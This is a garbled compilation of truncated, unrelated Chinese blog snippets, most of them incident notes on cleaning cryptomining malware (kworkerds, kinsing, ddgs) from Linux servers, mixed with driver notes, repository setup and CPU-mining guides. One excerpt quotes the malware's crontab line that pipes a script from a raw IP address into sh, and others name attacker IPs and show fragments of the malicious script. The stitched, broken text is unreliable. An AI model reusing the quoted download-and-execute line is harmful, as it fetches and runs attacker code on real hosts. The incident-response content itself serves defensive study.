公司之前的开发和测试环境是在腾讯云上,部分服务器中过一次挖矿木马 kworkerds,本文为我当时分析和清理木马的记录,希望能对大家有所帮助. 现象 top 命令查看,显示 CPU 占用 100%,进程名无明显规则,如:TzBeq3AM. 进程有时候会被隐藏,通过分析脚本删除部分依赖文件,可以显示出来. 存在可疑的 python 进程. crontab 被写入了一个定时任务,每半小时左右会从 pastebin 上下载脚本并且执行. 原因 redis 没有启用密码认证. 清理方案 将 redis

1.top查看资源使用情况 看到这些进程一直在变化,但是,主要是由于kswapd0进程在作怪,占据了99%以上的CUP,查找资料后,发现它就是挖矿进程 2.排查kswapd0进程 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息 netstat -antlp | grep 194.36.190.30 发现只有这一个进程(当然,很有可能还会有其他进程) 3.查找进程的详细信息 我们来到/proc/目录下查找对应的pid号,即/proc/497.可以在这目录下

SSH 暴力破解趋势:从云平台向物联网设备迁移 | 云鼎实验室出品 from: http://www.freebuf.com/articles/paper/177473.html 导语:近日,腾讯云发布2018上半年安全专题系列研究报告,该系列报告围绕云上用户最常遭遇的安全威胁展开,用数据统计揭露攻击现状,通过溯源还原攻击者手法,让企业用户与其他用户在应对攻击时有迹可循,并为其提供可靠的安全指南.上篇报告从DDoS 攻击的角度揭示了云上攻击最新趋势,本篇由同一技术团队云鼎实验室分享:「SSH暴力

linux驱动开发总结(一) 基础性总结 1, linux驱动一般分为3大类: * 字符设备 * 块设备 * 网络设备 2, 开发环境构建: * 交叉工具链构建 * NFS和tftp服务器安装 3, 驱动开发中设计到的硬件: * 数字电路知识 * ARM硬件知识 * 熟练使用万用表和示波器 * 看懂芯片手册和原理图 4, linux内核源代码目录结构: * arch/: arch子目录包括了所有和体系结构相关的核心代码.它的每一个子目录都代表一种支持的体系结构,例如i386就是关于intel c

CentOS7(增加源) yum repolist # 查看yum源列表 yum localinstall http://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/e/epel-release-7-11.noarch.rpm -y yum makecache # 将服务器上的软件包信息下载到本地缓存, 以提高搜索和安装软件的速度 yum repolist # 可以再次查看新加入的列表 yum install pptpd -y # 再次执行安装

莱特币ltc在linux下的多种挖矿方案详解 4.0.1 Nvidia显卡Linux驱动Nvidia全部驱动:http://www.nvidia.cn/Download/index.aspx?lang=cnNvidia GeForce®驱动:http://www.geforce.cn/driversNVidia CUDA http://developer.nvidia.com/cuda/cuda-downloads http://developer.nvidia.com/cuda/cuda-to

中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!!!!!!!! 这个病毒能都横向传播,不要以为在外网redis的端口不通就没有事情.只要内网里有机器感染了病毒,就可以继续感染. 病症:CPU被不明进程吃满. 该病毒主要是通过,crontab定时任务,向指定网站下载脚本,运行进行挖矿. 通过crontab -l 就能查看 */15 * * * * (

0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue).web攻击多种漏洞(如Tomcat弱口令攻击.Weblogic WLS组件漏洞.Jboss反序列化漏洞.Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 . 0x01 应急场景 ​ 某天,安全管理员在登录安全设备巡检时,发现某台

[Linux系统BTC/比特币矿池挖矿方案一]cgminer矿池挖矿程序(Linux系统 比特币(BTC) 矿池挖矿/采矿/造币)cgminer矿池挖矿程序[查看这里有没有最新版]http://ck.kolivas.org/apps/cgminer/https://github.com/ckolivas/cgminer apt-get install bzip2 apt-get install libcurl3 libcurl3-dev#The following NEW packages wi

<Windows Azure Platform 系列文章目录> 1.之前客户遇到了Azure Linux CPU 100%,症状如下: 2.SSH登录到Linux,查看crontab,有从pastebin.com平台下载未知文件的行为 3.查看/usr/sbin目录,查看有可疑的目录 4.查看相关的文档,发现这个是一个比特币挖矿病毒,我们搜索到Github上的杀毒脚本 https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool/blob/maste

0×00 背景概述 近日,同伴的一台Linux服务器中了kworkerds挖矿程序,随即对挖矿程序进行了处理与分析. 0×01服务器现状 进入服务器之后通过top命令,没有发现有占用CPU资源过高的进程,随后使用busybox top命令查看发现一个kworkerds的程序占用CPU资源达到了99%,计划任务中被写入恶意下载命令: 系统top命令界面: 使用busybox top命令界面: 写入的计划任务: 0×02脚本分析: 1)  mr.sh脚本: 清理文件或其他挖矿程序: 值得一提的是,脚

Linux操作系统load average过高,kworker占用较多cpu 今天巡检发现,mc1的K8S服务器集群有些异常,负载不太均衡.其中10.2.75.32-34,49的load average值都在40以上,虽然机器的cpu核数都是40或48核不算严重,但也值得重视. 登陆机器查看,执行top发现,cpu的使用率接近40%,sys有20-30,user有10-20.也发现有大量的内核线程[kworker]占用比较多的使用率.如下是在下午7点多的截图,如果是高峰期9点,kworker的数

概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发现CPU被大量占用: *注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤参见参考文章(https://blog.csdn.net/u010457406/article/details/89328869). 2.crontab 定时

挖矿一般都要用高端显卡做矿机, 不是一般人玩得起 这里讲的是一种用CPU来挖矿的方法, 纯玩玩, 不要指望能致富喔 本方法在CentOS和树莓派原生系统上测试通过 先从git下载cpuminer git clone https://github.com/pooler/cpuminer.git​ 进入目录 cd cpuminer/​ 执行 ./autogen.sh ​ 执行 ./configure CFLAGS="-mfpu=neon"​ 注: 上面是在树莓派中编译的参数, 如果在Cen

一.背景 最近公司一台虚拟机被攻击,其中一种挖矿病毒.会伪CPU数.即如果用top命令只能看到一个cpu.并且负载不高.实际上整个负载300%以上,及时定时任务关掉也不起作用. 二.言归正传开始干掉这个麻烦的病毒(脚本如下): #关掉定时任务 service crond stop #删除so库 busybox rm -f /etc/ld.so.preload busybox rm -f /usr/local/lib/libcset.so chattr -i /etc/ld.so.preload

今天来给大家分享下这两天遇到的一个问题,服务器被挖矿了,把我的排查记录分享下,希望能帮到有需要的同学. 问题原因 多台服务器持续告警CPU过高,服务器为K8s的应用节点,正常情况下CPU使用率都挺低的,通过排查是原因是被挖矿了,下面为定位过程 定位过程 登陆问题主机10.92.0.X,通过执行top命令查看资源使用情况如下 cpu使用率基本跑满(用户态),没有发现可疑的进程,初步怀疑可能是进程在哪里隐藏了 执行命令ps -aux --sort=-pcpu|head -10 嗯哼,藏得够深的,可还

  昨天为了协助客户测试业务,帮客户开通了一台云主机,因为是测试环境所以密码设置的很简单:1qaz@WSX,今天登陆的是否发现密码认证不通过了,确定机器是被黑掉了,估计多半是被国外小哥入侵挖矿了,记录下排查过程. 云控制台修改云主机密码   因为密码认证不通过无法登入系统,所以首先第一步是需要强制修改密码,目前大多数云厂商都支持控制台修改密码,所以这一步就不需要详细描述了. 查看云主机运行情况   可以看到一个名为r64的进程已经将我4C的CPU完全占用,判断此进程为挖矿进程.   将此进程ki

1. 昨天晚上同事打电话给我说自己的服务器上面的redis无故被清空了,并且查看aof 日志有很多 wget和write指令 一想就是大事不好.局域网中病毒了.. 2. 今天早上到公司忙完一阵简单看了下,就发现了五台机器中病毒. (悲伤无以言表) 3. 现象: CPU暴高, 通过虚拟化控制台就能看到 4. 进入虚拟机简单查看一下. 使用top 就能看到 5. 最简单的查看流程. 先看计划任务 crontab -e 病毒的脚本文件为: exec &>/dev/null export PATH=

突然发现公司测试服务器CPU过高,是这两个sysupdate, networkservice进程,很明显是被挖矿了,记录下来以供参考. 病毒会把一些文件给加i锁或a锁,导致无法修改数据,所以某些操作需要清除锁 这个是kdevtmpfsi的守护进程,把它kill掉,然后kill掉kdevtmpfsi,然后删文件. ps -aux | grep kinsing [root@localhost tmp]# ps -aux | grep kinsing root 11459 0.0 0.0 112812

参考 https://blog.csdn.net/qq_37837029/article/details/82314428 重要的一点,移除下面文件里面的定时任务 /var/spool/cron/crontabs/root /var/spool/cron/root 本人删除kill -9进程, 移除/tmp/ddgs.3016,  qW***.文件都没用. 删除/root/.ssh/authori_keys里面的免密登入.

被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysconfig/crotnab中的定时任务没有找到定时脚本,输入crontab -e 在其中找到了该定时任务 */5 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh 查询了下149.56.106.215在美国,i.sh 脚本内容如下: ex